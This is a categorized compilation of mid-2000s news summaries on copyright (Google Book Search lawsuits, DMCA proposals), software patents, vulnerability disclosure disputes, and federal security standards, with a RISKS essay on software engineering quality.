2005-10-25 **Microsoft Yahoo book project Internet archive intellectual property rights copyright Open Source Alliance**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5913711.html

MICROSOFT JOINS YAHOO BOOK PROJECT

Microsoft has said it will participate in a recently announced book-scanning project led by Yahoo and the Internet Archive. Unlike Google's much-maligned project, the Yahoo initiative, called the Open Content Alliance, will only scan books that are in the public domain or for which explicit permission has been granted by the copyright holder. In contrast, Google will scan copyrighted books unless copyright holders specifically request that their books be excluded, though only small portions of copyrighted books will be available online. For its part, Microsoft will finance the scanning of about 150,000 books, while Yahoo will pay for about 18,000 books to be digitized. The Open Content Alliance also differs from Google's project in that all of the content from the alliance will be available from a database to any search engine; Google will be the only means to access the content of its project. Microsoft will create an MSN Book Search service next year, though the business model for particular services and fees has not been set, according to Danielle Tiedt, general manager of search content acquisition at MSN. ZDNet, 25 October 2005

Category 4B1 *Copyrights*

2005-10-29 **intellectual property rights violation copyright infringement Google book scanning project lawsuit litigation court damages**

EDUPAGE; http://news.bbc.co.uk/2/hi/business/4358768.stm

MORE SUITS TARGET GOOGLE'S BOOK SCANNING PROJECT

After failing to reach an agreement during several months of negotiations, a group of five publishers has filed a lawsuit against Google over its book-scanning project. The project has come under fire since it was announced, with publishers and copyright holders arguing that scanning their texts constitutes a violation of their copyright, regardless of whether the digital copy is made available online in its entirety. Penguin, McGraw-Hill, Pearson Education, Simon and Schuster, and John Wiley and Sons have sued Google, seeking to have the project cancelled. The publishers are asking for Google to pay court costs but not damages. All five are members of the Association of American Publishers, which had been in talks with Google for months. Last month, an organization representing writers sued Google over the book-scanning project. Google continues to maintain that it respects the rights of publishers and copyright holders and that the project will bring wider exposure for the scanned text. BBC, 19 October 2005

Category 4B1 *Copyrights*

2005-11-10 **intellectual property rights violation copyright infringement protection Attorney General Alberto Gonzalez BSA RIAA**

EDUPAGE; http://news.com.com/2100-1028_3-5944612.html

FEDS PUSH FOR STRICTER COPYRIGHT PROTECTIONS

According to Attorney General Alberto Gonzales, the Justice Department recently submitted a package of legislative proposals to Congress that would broaden the scope of laws to protect copyright and would strengthen law enforcement powers to investigate such crimes. Among the proposals are recommendations to allow enforcement of copyrights, regardless of whether they are registered; to hold those found guilty of infringement liable for compensation to the victims; and to allow the seizure and destruction of counterfeit goods, equipment used to make such goods, and property acquired with the profits from such goods. The proposals would also make it a crime to "attempt to infringe copyright." Groups such as the Business Software Alliance and the Recording Industry Association of America welcomed the proposed changes to copyright law, while those concerned about fair use rights expressed reservations. An organization called Public Knowledge said in a statement that it is "concerned that the Justice Department's proposal attempts to enforce copyright law in ways it has never before been enforced." CNET, 10 November 2005

Category 4B1 *Copyrights*

2005-11-22 **Internet Web plagiarism copyright infringement intellectual property rights violations UK British government parents teachers children**

EDUPAGE; http://news.bbc.co.uk/2/hi/uk_news/education/4460702.stm

THE INTERSECTION OF TECHNOLOGY AND CHEATING

An expert in the impact of technology on teaching and learning has told the British government that parents and teachers--not technology tools--can effectively address the problem of Internet cheating. Following a report from the Qualifications and Curriculum Authority that identified widespread cheating, government officials sought advice from Jean Underwood, professor at Nottingham Trent University, about solutions to students' using technology to cheat. Underwood acknowledged that the line between providing appropriate assistance to a student and facilitating cheating is not always clearly defined, and she noted that some technologies can help examiners easily identify instances of plagiarism. But students, she said, will forever be able to find ways to circumvent technology that screens for cheating. The real solution will be to change student attitudes toward their work, making them understand the value of doing it themselves and genuinely learning the material. BBC, 22 November 2005

Category 4B1 *Copyrights*

2005-12-12 **intellectual property rights copyrights HarperCollins book publisher digitize Google Internet search index service**

EDUPAGE; http://online.wsj.com/article/SB113435527609919890.html

HARPERCOLLINS TO DIGITIZE BOOKS

HarperCollins has announced plans to digitize its own books and make those files available through search services, marking the latest development in the rapidly changing landscape of electronic access to books. Google is working on its hotly contested service to scan vast numbers of texts and make them available online, while other companies have begun their own programs to digitize books. The move by HarperCollins is that company's attempt to be a part of new technologies while retaining control over its content. The company will pay to have an estimated 20,000 backlisted books digitized, as well as about 3,500 new titles each year. Those electronic files will be open to search engines to make indexes but not to download images of the pages. According to Brian Murray, group president of HarperCollins, "We'll own the file, and we'll control the terms of any sale." Jane Friedman, chief executive of the publisher, said, "We want to be the best collaborator, but we also want to take charge of our future." The company said the effort would also allow it to keep certain titles available long after they are out of print. Wall Street Journal, 12 December 2005 (sub. req'd)

Category 4B1 *Copyrights*

2006-02-06 **Google book scanning program University of Michigan president defense copyright intellectual property rights issues**

EDUPAGE; http://news.com.com/2100-1025_3-6035858.html

MICHIGAN PRESIDENT DEFENDS GOOGLE'S BOOK SCANNING

Speaking at the annual conference of the Professional/Scholarly Publishing division of the Association of American Publishers, the president of the University of Michigan defended her institution's participation in Google's Book Search program. The program has upset many publishers and other copyright owners, who contend that the project violates their intellectual property rights. Mary Sue Coleman told conference attendees that the program "is about the social good of promoting and sharing knowledge" and argued that Thomas Jefferson would have loved it. Insisting that vast numbers of cultural artifacts are at risk of being lost due to insufficient efforts at conservation, particularly among libraries, Coleman characterized Google's project as one of preservation and her institution's participation as central to the university's mission. She noted that the University of Michigan had been "digitizing books long before Google knocked on our door, and we will continue our preservation efforts long after our contract with Google ends." Coleman's comment also included a clear defense of the rights of copyright holders. Her institution would not "ignore the law and distribute [protected material] to people to use in ways not authorized by copyright."

Category 4B1 *Copyrights*

2006-03-13 **Google service online book sales copyright intellectual property rights Book Search Library Project litigation**

EDUPAGE; http://news.zdnet.com/2100-9588_22-6049002.html

NEW GOOGLE SERVICE SELLS BOOKS ONLINE

Google has announced a new service by which it hopes to sell online access to copyrighted books on behalf of publishers, similar to a program announced last fall between Amazon.com and Random House. With Google's new service, users would be able to buy electronic access to the full text of a book, based on terms determined by the publisher, but not allowed to make or save copies of the book. Currently, users of Google's Book Search service can see small bits of books but cannot access the full texts. According to Google, the new program is intended to help publishers increase revenues. The announcement comes as Google's legal troubles continue over its Library Project, a program to scan millions of books, including copyrighted books and those in the public domain. Public domain materials would be available online in their entirety, while only selected portions of copyrighted books would be online. Publishers and other copyright holders have challenged Google in court, saying the company has no right to make digital copies of their books, regardless of how it limits access to those copies.

Category 4B1 *Copyrights*

2006-04-23 **copyright law intellectual property rights US Congress revision Digital Millennium Copyright Act DMCA stricter EFF Software and Information Industry Association**

EDUPAGE; http://news.com.com/2100-1028_3-6064016.html

COPYRIGHT LAW UPDATE FAVORS COPYRIGHT HOLDERS

Despite pressure from a number of quarters to introduce restrictions on the Digital Millennium Copyright Act, Congress appears to be headed the other direction. Drafts of the Intellectual Property Protection Act of 2006 are circulating among lawmakers, and a spokesperson for the House Judiciary Committee said the bill will likely be introduced soon. The bill adds a number of new layers to copyright law, including increasing fines for certain copyright crimes; criminalizing attempted copyright violations, even if they fail; and allowing copyright owners to impound "records documenting the manufacture, sale, or receipt of items involved in" violations. Jason Schultz, staff attorney at the Electronic Frontier Foundation, said of this last provision that the recording industry has long wanted the ability to obtain server logs that would indicate "every single person who's ever downloaded" certain files. Keith Kupferschmid, vice president for intellectual property and enforcement at the Software and Information Industry Association, welcomed the bill, saying that it gives government officials needed authority to prosecute intellectual property criminals.

4B2 Patents

Category 4B2 Patents

2005-01-11 **IBM patents source projects licensing fees property patents Matsushita Electric Industrial**

EDUPAGE; http://www.nytimes.com/2005/01/11/technology/11soft.html

IBM OFFERS PATENTS TO OPEN SOURCE PROJECTS

IBM will begin allowing the use of 500 technologies covered by patents it holds by developers working on open source projects. While IBM will not forfeit the patents, it will seek no licensing fees from groups that use them on projects that meet a definition by the Open Source Initiative. Despite past donations of intellectual property to open source groups, the new program is seen as a fundamental shift in the company's approach because unlike those donations, this one does not hold the potential to harm IBM's competitors. The 500 patents that will be available involve 14 categories of technology and do not target any specific open source project. IBM said it hopes to create a "patent commons," including the initial 500 as well as other patents, that other companies could join. IBM's new approach to managing its intellectual property, however, has not diminished its pursuit of new patents. IBM, which is the world's largest patent holder, collected 3,248 new patents in 2004, 1,300 more than Matsushita Electric Industrial, which had the second-highest tally for the year.

Category 4B2 Patents

2005-11-10 **intellectual property rights patent infringement issue share source code**

EDUPAGE; http://news.zdnet.com/2100-3513_22-5943781.html

NEW GROUP ADDRESSES OPEN SOURCE PATENT ISSUE

A new organization hopes to eliminate one of the major obstacles to adoption of open source technology: concern over patent and royalty disputes over shared code. The Open Invention Network (OIN), which includes IBM, Sony, Royal Philips Electronics, and Linux distributors Red Hat and Novell, will acquire and freely share patents that organizers hope will encourage broader adoption of open source tools, particularly Linux. Any organization that agrees not to assert its patents over those who have licenses with OIN will be permitted to use OIN patents for free. The business model for OIN represents a new arrangement in which patents are shared to promote the underlying Linux technology. Industry analyst Richard Doherty said, "A lot of lawyers are going to throw their hands up and ask, 'How do we make money from this?'" The answer, he said, is that they might not. ZDNet, 10 November 2005

Category 4B2 Patents

2006-01-30 **Microsoft Office forced upgrade corporate business users legal setback**

DHS IAIP Daily; http://news.zdnet.com/2100−3513_22−6032870.html

MICROSOFT PATENT SPAT FORCES BUSINESSES TO UPGRADE OFFICE.

Microsoft has begun e-mailing its corporate customers worldwide, letting them know that they may need to start using a different version of Office as a result of a recent legal setback. The software maker said Monday, January 30, that it has been forced to issue new versions of Office 2003 and Office XP, which change the way Microsoft's Access database interacts with its Excel spreadsheet. The move follows a verdict last year by a jury in Orange County, CA, which found in favor of a patent claim by Guatemalan inventor Carlos Armando Amado. Microsoft was ordered to pay $8.9 million in damages for infringing Amado's 1994 patent. That award covered sales of Office between March 1997 and July 2003. Although existing customers can keep using older versions on current machines, any new installations of Office 2003 will require Service Pack 2, released by Microsoft in September. Office XP will need to be put into use with a special patch applied. The software maker started notifying customers this month, in an e-mail sent via its sales channel. All those affected will have been informed by next month, Microsoft said. The company said the necessary downloads are available from its Website.

Category 4B2 *Patents*

2006-03-28 **patent campus technology threat campus card money transfer JSA Technologies intellectual property rights issues**

EDUPAGE; http://chronicle.com/daily/2006/03/2006032802n.htm

ANOTHER PATENT THREATENS CAMPUS TECHNOLOGY

Another company has contacted a number of colleges and universities about a technology patent they might be infringing, this time for systems that transfer money across the Internet to campus cards. in 1998, JSA Technologies applied for a patent, which was granted in 2005, that covers such transfers. Many institutions use campus cards for student expenses such as books, food in snack bars, or campus fees. Jon Gear, vice president of JSA, said the company has no intention of forcing institutions to discontinue their funds-transfer systems. The company, he said, is simply enforcing a patent that protects its intellectual property. Gear said JSA contacted a number of schools, though he declined to say how many or to name them, and will negotiate licensing fees, which he said would be "negligible." Lowell Adkins, executive director of the National Association of Campus Card Users, said his organization is working to clarify the issue. "It's still really unclear what the scope of the patent is," he said. "We need to understand how they're going to exercise their rights."

Category 4B2 *Patents*

2006-04-06 **Electronic Frontier Foundation EFF US Patent and Trademark Office online test-taking patent intellectual property rights**

EDUPAGE; http://chronicle.com/daily/2006/04/2006040601t.htm

EFF CALLS FOR PATENT TO BE INVALIDATED

The Electronic Frontier Foundation (EFF) has called on the U.S. Patent and Trademark Office (USPTO) to invalidate a patent that broadly covers technologies that allow tests to be posted and taken online. In 2003, the USPTO granted the patent to Test.com, which has since contacted a number of colleges and universities, as well as businesses, that conduct online testing, saying those services violate the patent. Many of those approached by Test.com believe that the idea of putting tests on the Web is too obvious to warrant a patent. Now, the EFF says it has evidence that, even if the idea justifies a patent, Test.com was not the first to develop the technology to make it happen. According to the EFF, the IntraLearn Software Corporation began selling products with online testing capabilities in 1997, two years before Test.com applied for its patent. Jason Schultz, staff lawyer for the EFF, said that the USPTO would address the validity of the patent, which could take as long as a year or more. If the office determines that a patent is appropriate, said Schultz, it will "a tiny insignificant patent" rather than the very broad patent granted to Test.com.

4B3 DMCA, reverse engineering, disclosure

Category 4B3 *DMCA, reverse engineering, disclosure*

2004-12-15 **iPod Apple RealNetworks Harmony music copy protection blocking information warfare reverse engineering**

NewsScan; http://www.siliconvalley.com/mld/siliconvalley/10425219.htm

ANOTHER ROUND IN THE APPLE-VS.-REAL NETWORKS FIGHT

Apple has begun blocking the technology that RealNetworks created to evade the copy-protection shield used by Apple's iPod. When RealNetworks introduced its Harmony technology this summer, it hoped to dissolve some of the barriers created by incompatible, proprietary digital music standards, and said it had reverse-engineered Apple's copy-protection code to allow songs purchased from non-Apple online outlets to be playable on the iPod. To deal with Apple's new move, RealNetworks now says it "will look at the Apple upgrade and see how it'll make Harmony work once again with the iPod." (AP/San Jose Mercury News 15 Dec 2004)

Category 4B3 *DMCA, reverse engineering, disclosure*

2005-01-11 **trial questions exposing software flaws copyright antivirus Viguard prison fine**

EDUPAGE; http://news.com.com/2100-7348_3-5531586.html

TRIAL RAISES QUESTIONS ABOUT EXPOSING SOFTWARE FLAWS

French researcher Guillaume Tena is currently on trial in a Paris court for violating copyright laws when he exposed software flaws in an antivirus application called Viguard, developed by Tegam International, a French company. Tena, who is a researcher at Harvard University, faces a prison term and fine, and Tegam has also filed a civil suit against Tena for about $1.2 million. Although K-OTik, a French computer security organization, conceded that Tena did technically break French copyright law, the group said that a decision against him could set a dangerous precedent for prosecuting individuals for exposing software vulnerabilities. Officials from K-OTik said a ruling against Tena would be "unimaginable and unacceptable in any other field of scientific research." The court's final ruling is expected March 8. CNET, 11 January 2005

Category 4B3 *DMCA, reverse engineering, disclosure*

2005-03-25 **Sybase lawsuit threat flaw vulnerability open disclosure Next Generation Security**

EDUPAGE; http://www.computerworld.com/

SYBASE BLOCKS FLAW DISCLOSURE WITH THREAT TO SUE

California-based Sybase Inc. has threatened to sue U.K.-based Next Generation Security (NGS) Software Ltd. If that company discloses the details of eight security flaws it discovered in 2004 in Sybase database software, Adaptive Server Enterprise Version 12.5.3. NGS notified Sybase of the flaws, and Sybase released a patched and updated version of the software in February 2005. NGS policy mandates that it wait for vendors to issue patches before publicly releasing information on software flaws. The company chose not to make a public disclosure of the database holes after receiving the Sybase letter threatening to sue. According to an e-mail statement from a Sybase spokeswoman, the company was motivated to prevent the disclosure out of concern for its users' security. ComputerWorld, 25 March 2005

Category 4B3 *DMCA, reverse engineering, disclosure*

2005-07-29 **open vulnerability disclosure Cisco router software Michael Lynn litigation**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12255870.htm

CISCO AND SECURITY RESEARCHER AGREE TO DISAGREE

Security researcher Michael Lynn and Cisco Systems have reached an agreement that should put an end to Cisco's legal action against Lynn for speaking publicly about a flaw in the company's router software. Lynn, who until Wednesday was employed by Internet Security Systems (ISS), gave a presentation at the Black Hat Conference discussing the vulnerability. Cisco and ISS had discouraged Lynn from giving the presentation, saying that a patch had been issued for the flaw. Lynn believed Cisco had not been open with consumers about the severity of the problem, and he resigned from ISS to protest the company's position that he should not give the presentation. After he left ISS, however, Lynn faced legal action from Cisco, which argued that he had no right to make the presentation since he was no longer employed by ISS. Under the agreement, Lynn will stop disclosing information about the flaw, and the legal action will be canceled. Computer security expert Bruce Schneier applauded Lynn for his conviction in exposing what he thought was a serious flaw despite the risks of going public. Matt Bishop, professor of computer science at the University of California-Davis, said he sees the practice of exposing flaws publicly as a dangerous practice and that working with the affected vendor is preferable. San Jose Mercury News, 29 July 2005

Category 4B3 *DMCA, reverse engineering, disclosure*

2005-12-29 **electronic voting machines legal challenges**

RISKS 24 14

DRUNKS MUST HAVE ACCESS TO BREATHALYZER INNARDS BUT VOTERS MUST TRUST E-VOTING MACHINES

Tanner Andrews pointed out the irony of US state law, in which drunk drivers have been ruled to have full access to the internals of breath-analysis devices used by police whereas voters have no legal right to examine the internals of electronic voting machines.

Category 4B3 *DMCA, reverse engineering, disclosure*

2006-01-05 **Electronic Frontier Foundation EFF computer security researchers protection reverse engineering DMCA violation**

EDUPAGE; http://www.internetnews.com/security/article.php/3575441

EFF SEEKS PROTECTION FOR COMPUTER RESEARCHERS

The Electronic Frontier Foundation (EFF) has called on Sony EMI to pledge not to pursue prosecution of computer researchers who investigate the security of the company's products. Last fall, the company was caught in a public outcry over technology included in music CDs. The technology installed itself on users' computers and scanned them for potentially illegal activities. The company has removed those tools from CDs, but security researchers believe they have reason to reverse engineer copy protections on EMI CDs, a practice which would violate not only the Digital Millennium Copyright Act but also EMI's end user license agreement. Fred von Lohmann, senior staff attorney with EFF, said, "When it comes to computer security, it pays to have as many independent experts kick the tires as possible, and that can only happen if EMI assures those experts that they won't be sued for their trouble."

Category 4B3 *DMCA, reverse engineering, disclosure*

2006-04-14 **EFF Digital Millennium Copyright Act DMCA consequences list piracy anti-piracy**

EDUPAGE; http://www.internetnews.com/bus-news/article.php/3599026

EFF LISTS CONSEQUENCES OF DMCA

The Electronic Frontier Foundation (EFF) has issued a report detailing what it said are the unintended effects of the Digital Millennium Copyright Act (DMCA). The law was enacted seven years ago to address intellectual property issues that arose with the development of the Internet and other technologies. Among other provisions, the law includes a prohibition on circumventing antipiracy measures, even if such circumvention was done for reasons that reasonable people would see as legitimate, according to the EFF. In a number of cases, the DMCA has been invoked to suppress information obtained by researchers about security weaknesses. The EFF's report said that the law has been used not so much to limit piracy as to "threaten and sue legitimate consumers, scientists, publishers, and competitors." The Cato Institute recently released a report on the DMCA with similar findings.

Category 4B3 DMCA, reverse engineering, disclosure

2006-04-24 **DMCA Digital Millennium Copyright Act revisions law bill restrictions proposal**

RISKS; CNET news.com http://tinyurl.com/k5ebw 24 26

CONGRESS PROPOSING TO STRENGTHEN DMCA

For the last few years, a coalition of technology companies, academics and computer programmers has been trying to persuade Congress to scale back the Digital Millennium Copyright Act.

Now Congress is preparing to do precisely the opposite. A proposed copyright law seen by CNET News.com would expand the DMCA's restrictions on software that can bypass copy protections and grant federal police more wiretapping and enforcement powers.

The draft legislation, created by the Bush administration and backed by Rep. Lamar Smith, already enjoys the support of large copyright holders such as the Recording Industry Association of America. Smith, a Texas Republican, is the chairman of the U.S. House of Representatives subcommittee that oversees intellectual property law.

[Excerpt by Declan McCullagh for RISKS]

4B5 Trademarks

Category 4B5 Trademarks

2004-12-15 **Geico Google law dismissed trademark search engines advertising paid links**

NewsScan; http://www.nytimes.com/2004/12/15/technology/15cnd-google.html?oref=login

GEICO CASE AGAINST GOOGLE DISMISSED BY JUDGE

A federal district court judge in Virginia has dismissed a key claim in the trademark infringement suit brought against Google by Geico, the auto insurance company. Geico had argued that the Google practice that allows Geico's competitors to buy ads linked to searches for "Geico" and "Geico Direct" confuses Web surfers who are looking specifically for Geico, but the judge ruled that there was not enough evidence the Google practice actually confuses consumers. One intellectual property attorney not involved in the case predicts: "It will not be binding precedent. That's how cases get to the Supreme Court."(New York Times 15 Dec 2004)

4C Security paradigms, risk management, site-security certification, professional certification

Category 4C *Security paradigms, risk management, site-security certification, professional cer*

2006-04-27 **law legislation Georgia USA private investigator forensic specialist licensing**

RISKS; The Register 24 27
http://www.theregister.co.uk/2006/04/26/law_change_for_pis

GEORGIA LAW REQUIRES LICENSING FOR DIGITAL FORENSICS SPECIALISTS?

Some computer professionals will need to get a Private Investigator license just to continue doing their computer work. I imagine this will also apply to accountants and auditors, in fact anyone who analyses data that is on computer systems, on behalf of some other company, and perhaps people who work at software houses, computer retailers, whoever does repairs to computers, installations of new stuff. We will have to be asking suppliers of firewall, anti-virus, anti-spam, anti-spyware etc. if they have a PI license, otherwise it might be illegal to buy their products, and if there are no such suppliers, then it may be illegal to be protected against the cyber-criminals.

Companies will need to get an opinion from their lawyers, with respect to filing annual reports with the state and with government regulators. We are supposed to swear this data is correct under penalty of perjury, but it was derived by accounting and computer experts, not Private Investigators, but now it is illegal to get such data from people who are not Private Investigators? Does this also mean that Police Department personnel need to get a PI license before they may testify in court?

[Summary and analysis by Al Macintyre]

4C1 Paradigms, security standards

Category 4C1 *Paradigms, security standards*

2005-02-08 **Office Management Budget OMB cybersecurity standardization increase security reduce spending task force Homeland Security DHS**

DHS IAIP Daily; http://www.govexec.com/dailyfed/0205/020805p1.htm

OFFICE OF MANAGEMENT AND BUDGET CONSIDERING CYBERSECURITY STANDARDIZATION

Office of Management and Budget (OMB) officials are considering standardizing the cybersecurity business processes of agencies in order to save money, increase security and help those with small information technology budgets. A task force led by the Homeland Security Department and OMB officials will meet in March to consider whether the consolidation of common processes, services and technologies regarding security could improve performance while reducing costs. About $4 billion is spent each year securing federal information technology; an OMB official speculated that 40 percent of that is spent on processes that are common among agencies. The task force would examine how much of the $4 billion is spent on actual security improvements rather than duplicative administrative functions.

Category 4C1 *Paradigms, security standards*

2005-02-20 **software quality assurance QA systems engineering failure rates programming errors design flaws process modular construction paradigm shift expectations**

RISKS 23 73

BUY VS BUILD -- OR ELSE

Paul Robinson wrote an essay for RISKS that pointed out how unusual it is in our society for us to build tools or other products from scratch in our normal lives. We buy bread, cutlery, peanut butter, kitchen sinks, stoves, tiles … almost everything we need is created by specialists and used by others.

So why do we think it is still normal to build software from scratch? Why aren't we insisting on building software from well-tried-and-tested modules that we can use to put together the desired functionality?

And how come other products, such as wrenches, refrigerators and washing machines, have warranties -- some of them lifetime warranties -- but software generally does not? Why are we tolerating this degree of shoddy engineering and production in such critical tools in our current lives?

The question that should be asked is, "why this is allowed to continue?"

Robinson writes:

Software as it is currently being developed provides so much value relative to its costs that we as practitioners of this medieval-class craft (in terms of our level of automation and sophistication of production methods) can get away with practices that would not be tolerated by a Taiwanese manufacturer of toasters.

And this is the reason we are seeing programming jobs being outsourced to low wage countries. If you're going to get crappy software there's no reason to pay premium prices for it. It is exactly the sort of situation that befell the American automobile manufacturers back in the 1970s and 1980s. And unless we start to make changes we will see exactly the same thing happening.

Actually some of the software development places that are used for outshoring have formal practices in place for reducing defects. So it is entirely possible what we are getting is the exact equivalent of what I stated above. The overseas "manufacturers" produce better quality at a lower cost than we do.

I think that a basis of component architecture is the direction that we need to go in the development of software. That we need to make more software to be designed as a series of reusable components that can be used in other contexts. It also means we need to develop at least an engineering discipline in a way of making software of higher quality and eventually to reduce the risks of development.

And this is why I now understand more clearly why I knew that there was something right about this concept even though I didn't know exactly why at the time. In a book I once wrote, the main character explains about realizing the validity of a concept even if you're not sure why:

>I know how that is; more than once I've had gut feelings about things where I couldn't put my finger on it, but I knew something wasn't right. Later I would discover why I had that feeling, and, more importantly, why I was right, but at the time I did not have the evidence or knowledge to know why I felt that way.<

- George Green, "In the Matter of: The Gatekeeper: The Gate Contracts"

We can continue on the same path of disaster-ridden bugware or we can choose to change. We can change because the current methods do not work very well, they spell disaster in terms of cost, reliability, future employment potential, and the possibility of seeing our craft ruined by heavy-handed government mandates for licensing. We can choose to change because if we do not, the choice on how to make the changes may be made for us, and in a manner we will not appreciate.

The process will not be easy, but the benefits to us will more than outweigh the short-term losses by having to re-learn a new way of working, and thinking. If we want to continue to have fun in this craft without being placed into a bad position because of our own arrogance in failing to acknowledge the incompetence, sloth and waste our current practices contain, we need to change. And we need to do it before we are forced to do so because the customers decide they can't stand it any more, before we do.

* * *

This essay provoked a flurry of interesting contributions in RISKS 23.74 < http://catless.ncl.ac.uk/Risks/23.74.html#subj2 >. Highlights include these points [with authors in square brackets so you can find their full comments easily]:

* The same issues were raised in 1968 by Doug McIlroy in a NATO conference on software engineering; see < http://homepages.cs.ncl.ac.uk/brian.randell/NATO/>. [Jim Horning]

* Problems in components spread throughout the industry; e.g., "the buffer overflow in the commonly-used JPEG decoding algorithm." [Rick Russell]

* Software is much more complicated than manufactured goods. [Rick Russell]

* Describing software is much more difficult than describing physical objects or tools and therefore reusability is difficult to engineer or attain. [Kurt Fredriksson]

* Even when reusable components are part of a software project, there is still lots of work because of dependencies that may break the code when components are poorly upgraded. [Jay R. Ashworth]

* Object-oriented programming has resulted in aborted development of more advanced programming languages. [Kurt Fredriksson]

* It may not be possible to write perfect code using the specifications of existing code because new situations may impose unexpected constraints that lead to unexpected behavior of the systems. [Ray Blaak]

* Work by Jef Raskin, the architect of the Macintosh project at Apple, may lead to error-free user interfaces. See his text "The Humane Interface: New Directions for Designing Interactive Systems." [Richard Karpinski] [MK looked up the ISBN: 0-201-37937-6 & the AMAZON URL: http://tinyurl.com/abt7a]

* "…[T]he problem isn't a lack of components, it's that we're building much larger systems in relation to the power of those components." [Geoff Kuenning]

* "… [O]ther people's components will only work for you if those people's domain model is sufficiently close to yours -- otherwise they are be too generic to be of any use to anybody, all they are is overhead." [Dimitri Maziuk]

* "Software is not constrained by the laws of nature (until or unless it comes to controlling a real system)…. Thus while traditional manufacture is bounded by well-established physical parameters which lend themselves to repeatable solutions, requirements for software systems are not so bounded. This tends to mean that the requirements for each system are unique. And because of the perception that software can do anything, the requirements tend to be complex too: arguably excessively so. Working this down into the details of implementation, this means that the components needed tend to be unique for each system - thus limiting the possibilities of reuse." [Stephen Bull]

Category 4C1 *Paradigms, security standards*

2005-02-28 **National Institute of Standards and Technology NIST security guidelines release Federal Information Security Management Act FISA**

DHS IAIP Daily;
http://news.com.com/NIST+releases+final+security+guidelines/ 2100−7348_3−5593256.html?tag=nefd.top

NIST RELEASES FINAL SECURITY GUIDELINES.

A final version of security guidelines designed to protect federal computer systems and the information they hold was released Monday, February 28, by the National Institute of Standards and Technology (NIST). The guidelines will serve as a road map for federal agencies in meeting mandates set by the Federal Information Security Management Act (FISA). Government agencies will be required to have certain security controls, policies and procedures in place. At the heart of the initiative is an effort to protect the confidentiality, integrity and availability of all federal information systems that are not part of the national security system. The security controls in the new NIST guidelines span 17 key areas, ranging from user identification to authentication to risk assessment. Guidelines: http://csrc.nist.gov/publications/nistpubs/800-53/SP800-53.p df

---

Category 4C1 *Paradigms, security standards*

2005-06-09 **NIST feds control security computer systems FISMA**

EDUPAGE; http://www.fcw.com/article89154-06-09-05-Web

FEDS LOOK TO ADD CONTROLS TO COMPUTER SYSTEMS

The National Institute of Standards and Technology (NIST) is developing a set of controls that federal agencies will be compelled to adopt to increase the security of their computer systems. The controls are part of an effort to bring agencies into compliance with the Federal Information Security Management Act (FISMA). FISMA Implementation Project Leader Ron Ross said that agencies will be required to add 17 safety controls to their systems, noting that stronger controls will be required for more important systems. When finalized, the controls will become mandatory in January 2006. Agencies will have one year to implement the controls on existing systems; for new systems, the controls will be required immediately. Ross stressed that although it will not be "easy to put in all these controls and get them working," the government must make every effort "to establish a federal level of due diligence" for its computer systems. Federal Computer Week, 9 June 2005

Category 4C1 *Paradigms, security standards*

2005-12-15 **IT costs laws compliance budgets corporate governance study Sarbanes-Oxley SOX**

EDUPAGE; http://news.zdnet.com/2100-9595_22-5996670.html

MEETING COMPLIANCE LAWS RAISES I.T. COSTS

According to a recent Gartner study, laws on corporate governance and compliance, such as the U.S. Sarbanes-Oxley Act, force businesses to spend more on information technology. The report predicts increases in IT budgets from 10 to 15 percent in 2006, up from roughly 5 percent in 2004. The survey included 326 audit, finance, and IT professionals in North America and Western Europe. Gartner recommended solutions that can support multiple regulations across a business to maximize effectiveness on spending for compliance.

Category 4C1 *Paradigms, security standards*

2006-02-15 **vulnerability exploit code Microsoft product challenge Security Bulletin critical rating iDefense auction sale**

DHS IAIP Daily;
http://www.windowsitpro.com/windowspaulthurrott/Article/Arti
cleID/49416/windowspaulthurrott_49416.html

IDEFENSE OFFERS $10,000 BOUNTY FOR CRITICAL BUG BY 31 MARCH 2006

iDefense announced that it will pay $10,000 to anyone who discovers a bug in a Microsoft product that results in a new Microsoft Security Bulletin with a severity rating of critical. But there's one slight catch: The bug must be reported by midnight March 31, 2006, EST. The company has paid for vulnerability reports for some time now. However iDefense is changing its tactics to some extent. A spokesperson for iDefense said, "Going forward, on a quarterly basis, we will select a new focus for the challenge and outline the rules for vulnerability discoveries that will qualify for the monetary rewards." iDefense competes against a growing underground market for vulnerability reports and exploit code, where reports and code are sometimes sold the highest bidder and other times sold to everyone who can pay the asking price.

Category 4C1 *Paradigms, security standards*

2006-03-06 **open source bug hunt results posted DHS funding Coverity Stanford Symantec team**

DHS IAIP Daily; http://www.gcn.com/online/vol1_no1/40053−1.html

OPEN-SOURCE BUG HUNT RESULTS POSTED.

Coverity Inc. of San Francisco, CA, has released the results of a Department of Homeland Security (DHS)-funded bug hunt that ranged across 40 popular open-source programs. The company found less than one-half of one bug per thousand lines of code on average, and found even fewer defects in the most widely used code, such as the Linux kernel and the Apache Web server. To test the programs, Coverity deployed analysis software first developed by Stanford's computer science department. Ben Chelf, chief technology officer of Coverity, warned that this automated bug scan is not definitive, but it can point to bugs traditional in-house code review techniques can miss. The results are the first deliverable of a $1.2 million, three-year grant DHS awarded to a team consisting of Coverity, Stanford University and Symantec Corp. of Cupertino, CA. DHS wants to reinforce the quality of open-source programs supporting the U.S. infrastructure.

4C2 Risk management methodology & tools

Category 4C2 *Risk management methodology & tools*

2005-01-19 **risk analysis terrorism politics propaganda rationality fear hysteria**

RISKS 23 68

SCHNEIER ON THE ILLUSION OF SECURITY

Curt Sampson published a review of an interesting article in ATLANTIC MONTHLY in January/February 2005. [That article extensively quoted noted security expert Bruce Schneier.] Mr Sampson's review follows:

In the January/February 2005 issue of _The Atlantic Monthly_ there is an article by James Fallows entitled "Success Without Victory," discussing risk management as it applies to the war on terror.

One key point is that there are people out there who, in the tradition of RISKS readers themselves, take a sensible and scientific approach to the war on terror, seeing it as an exercise in risk management rather than something that can be "won," causing all of the risks to go away:

> There will always be a threat that someone will blow up an airplane or a building or a container ship…. But while we have to live in danger, we don't have to live in fear. Attacks are designed to frighten us even more than to kill us. So let's refuse to magnify the damage they do. We'll talk about the risk only when that leads to specific ways we can make ourselves safer. Otherwise we'll just stop talking about it, as we do about the many other risks and tragedies inevitable in life.
>
> We cannot waste any more time on make-believe….measures that seem impressive but do not make us safer, such as national threat-level warnings and pro forma ID checks. The most damaging form of make-believe is the failure to distinguish between destructive but not annihilating kinds of attack we can never eliminate but can withstand and the two or three ways terrorist groups could actually put our national survival in jeopardy. We should talk less about terrorism in general and more about the few real dangers.
>
